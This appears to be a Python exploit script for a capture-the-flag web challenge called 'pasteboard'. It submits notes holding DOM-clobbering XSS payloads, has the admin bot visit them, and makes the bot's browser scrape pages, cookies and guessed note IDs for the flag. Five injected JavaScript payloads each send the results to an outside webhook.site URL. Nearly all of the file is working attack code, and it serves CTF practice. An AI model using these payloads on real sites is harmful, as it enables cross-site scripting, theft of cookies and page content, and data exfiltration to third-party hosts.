#!/usr/bin/env python3
"""
CRITICAL TEST: Check if flag is already visible on home page or in existing notes
"""
import requests
import time
import urllib.parse
from urllib.parse import urljoin


CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"


def create_and_report(title, payload):
    print(f"\n[*] Testing: {title}")

    response = requests.post(
        urljoin(CHALLENGE_URL, "/note/new"),
        data={"title": title, "body": payload},
        allow_redirects=False
    )

    if response.status_code == 302:
        note_path = response.headers.get('Location')
        print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")

        time.sleep(1)

        report_response = requests.post(
            urljoin(CHALLENGE_URL, "/report"),
            data={"url": note_path}
        )

        if report_response.status_code == 202:
            print(f"[+] Queued!")
            return True
    return False


print("="*80)
print("🔍 CRITICAL TEST: Is the flag already visible?")
print("="*80)


# Test 1: Fetch home page and search for ALL notes
code1 = f"""(async()=>{{
try{{
let resp=await fetch('/',{{credentials:'include'}});
let html=await resp.text();

// Search for uoftctf in the HTML
let flagMatch=html.match(/uoftctf\{{[^}}]+\}}/i);

// Extract all note links
let noteLinks=html.match(/\/note\/[a-f0-9]+/g)||[];

// Get visible text from home page
let parser=new DOMParser();
let doc=parser.parseFromString(html,'text/html');
let bodyText=doc.body.textContent;

await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'home_page_full_scan',
has_flag_in_html:!!flagMatch,
flag_found:flagMatch?flagMatch[0]:null,
note_count:noteLinks.length,
note_links:noteLinks.slice(0,10),
body_text_length:bodyText.length,
body_contains_uoftctf:bodyText.includes('uoftctf')
}},null,2)
}});
}}catch(e){{
await fetch('{WEBHOOK}?method=home_page_full_scan&error='+e.toString());
}}
}})();"""
payload1 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code1.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 1: Full home page scan", payload1)
time.sleep(12)


# Test 2: Visit each note found on home page
code2 = f"""(async()=>{{
try{{
// First get home page to find notes
let homeResp=await fetch('/');
let homeHtml=await homeResp.text();
let noteLinks=(homeHtml.match(/\/note\/[a-f0-9]+/g)||[]).slice(0,5);

let results=[];
for(let link of noteLinks){{
let resp=await fetch(link);
let html=await resp.text();
let flagMatch=html.match(/uoftctf\{{[^}}]+\}}/i);
results.push({{
link:link,
has_flag:!!flagMatch,
flag:flagMatch?flagMatch[0]:null,
html_length:html.length
}});
if(flagMatch)break; // Stop if we found it
}}

await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'scan_all_notes',
notes_checked:results.length,
results:results
}},null,2)
}});
}}catch(e){{
await fetch('{WEBHOOK}?method=scan_all_notes&error='+e.toString());
}}
}})();"""
payload2 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code2.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 2: Scan all existing notes", payload2)
time.sleep(15)


# Test 3: Navigate to home page FIRST, then check cookies
code3 = f"""(async()=>{{
// Visit home page first
await fetch('/');
await new Promise(r=>setTimeout(r,1000));

// Check if any cookies were set
let cookies=document.cookie;

// Now visit current page and check again
await fetch(location.href);
await new Promise(r=>setTimeout(r,1000));

await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'visit_home_first',
cookies_after_home:cookies,
cookies_after_current:document.cookie,
cookies_changed:cookies!==document.cookie
}})
}});
}})();"""
payload3 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code3.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 3: Visit home first", payload3)
time.sleep(12)


# Test 4: Check if there's a SPECIFIC note with admin/flag in URL
code4 = f"""(async()=>{{
let testPaths=[
'/note/flag',
'/note/admin',
'/note/00000000000000000000000000000000',
'/note/11111111111111111111111111111111'
];

let results=[];
for(let path of testPaths){{
try{{
let resp=await fetch(path);
let html=await resp.text();
let flagMatch=html.match(/uoftctf\{{[^}}]+\}}/i);
results.push({{
path:path,
status:resp.status,
has_flag:!!flagMatch,
flag:flagMatch?flagMatch[0]:null
}});
}}catch(e){{
results.push({{path:path,error:e.toString()}});
}}
}}

await fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'test_special_notes',
results:results
}},null,2)
}});
}})();"""
payload4 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code4.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 4: Test special note IDs", payload4)
time.sleep(12)


# Test 5: Check document.referrer to see where bot came from
code5 = f"""fetch('{WEBHOOK}',{{
method:'POST',
body:JSON.stringify({{
method:'check_referrer',
referrer:document.referrer,
location_href:location.href,
location_pathname:location.pathname,
is_iframe:window!==window.top,
has_opener:!!window.opener
}})
}});"""
payload5 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code5.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 5: Check navigation context", payload5)


print("\n" + "="*80)
print("✅ ALL CRITICAL TESTS QUEUED")
print("="*80)
print(f"📊 Check webhook: {WEBHOOK}")
print("="*80)
print("\nThese tests will:")
print("  1. Scan home page HTML for flag")
print("  2. Visit and scan ALL existing notes")
print("  3. Visit home page first, check cookie changes")
print("  4. Try accessing special note IDs")
print("  5. Check navigation context/referrer")
print("\nIf the flag is already visible on a page, we'll find it!")
print("="*80)
